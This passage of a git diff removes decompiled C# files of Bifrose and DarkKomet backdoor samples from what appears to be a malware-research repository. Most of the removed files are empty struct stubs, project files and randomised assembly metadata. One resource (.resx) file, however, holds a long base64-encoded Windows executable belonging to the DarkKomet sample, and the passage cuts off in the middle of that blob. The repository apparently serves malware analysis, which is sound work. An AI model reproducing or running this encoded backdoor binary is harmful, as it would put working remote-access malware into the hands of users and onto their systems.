System.Runtime.InteropServices; - -namespace õ -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00BF - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/ñ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/ñ.cs deleted file mode 100644 index 1cf2f4e8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/ñ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/ü.cs deleted file mode 100644 index c0d0fa03..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/ü.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [NativeCppClass] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct ü - { - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/AssemblyInfo.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/AssemblyInfo.cs deleted file mode 100644 index c64bd1b8..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCompany("4Hh8j6lkmja")] -[assembly: AssemblyProduct("161324UVgNR")] -[assembly: AssemblyDescription("i1y14aP22")] -[assembly: AssemblyTitle("lE2wT5d2")] -[assembly: AssemblyCopyright("83E8u3Vi")] -[assembly: AssemblyFileVersion("6.5.8.5")] -[assembly: AssemblyTrademark("C2o4321p")] -[assembly: AssemblyVersion("3.8.5.2")] diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Backdoor.Win32.DarkKomet.fldf.csproj b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Backdoor.Win32.DarkKomet.fldf.csproj deleted file mode 100644 index 0cf6d157..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Backdoor.Win32.DarkKomet.fldf.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7} - WinExe - zizoppo - 3.8.5.2 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Backdoor.Win32.DarkKomet.fldf.sln b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Backdoor.Win32.DarkKomet.fldf.sln deleted file mode 100644 index 0bed64ea..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Backdoor.Win32.DarkKomet.fldf.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "zizoppo", "Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.csproj", "{1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/D54D561D.resx b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/D54D561D.resx deleted file mode 100644 index b1faff84..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/D54D561D.resx +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC3Egfb83NpiPNzaYjzc2mIGmxkiPJzaYhSaWNo83NpiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAudNUTgAAAAAAAAAA4AAPAQsBBgAAEAAAAHAAAAAAAAAkEAAAABAAAAAgAAAAAEAAABAAAAAQAAAEAAAACQAAAAQAAAAAAAAAAJAAAAAQAACS2QAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA5BQAACgAAAAAMAAAHFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAgAAIAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABUBQAAABAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5kYXRhAAAAxAIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABxYAAAAMAAAAGAAAAAgAAAAAAAAAAAAAAAAAABAAABAbNpbShAAAAAAAAAAAAAAAE1TVkJWTTYwLkRMTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAE1TVkJWTTYwLkRMTAAAAABfX3ZiYUV4Y2VwdEhhbmRsZXIAAAAAUHJvY0NhbGxFbmdpbmUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuNNUTgAAAAAAAAMAAwAAACgAAIAOAAAAWAAAgBAAAABwAACAAAAAAAAAAAAAAAAAAAAEAAEAAACIAACAAgAAAKAAAIADAAAAuAAAgAQAAADQAACAAAA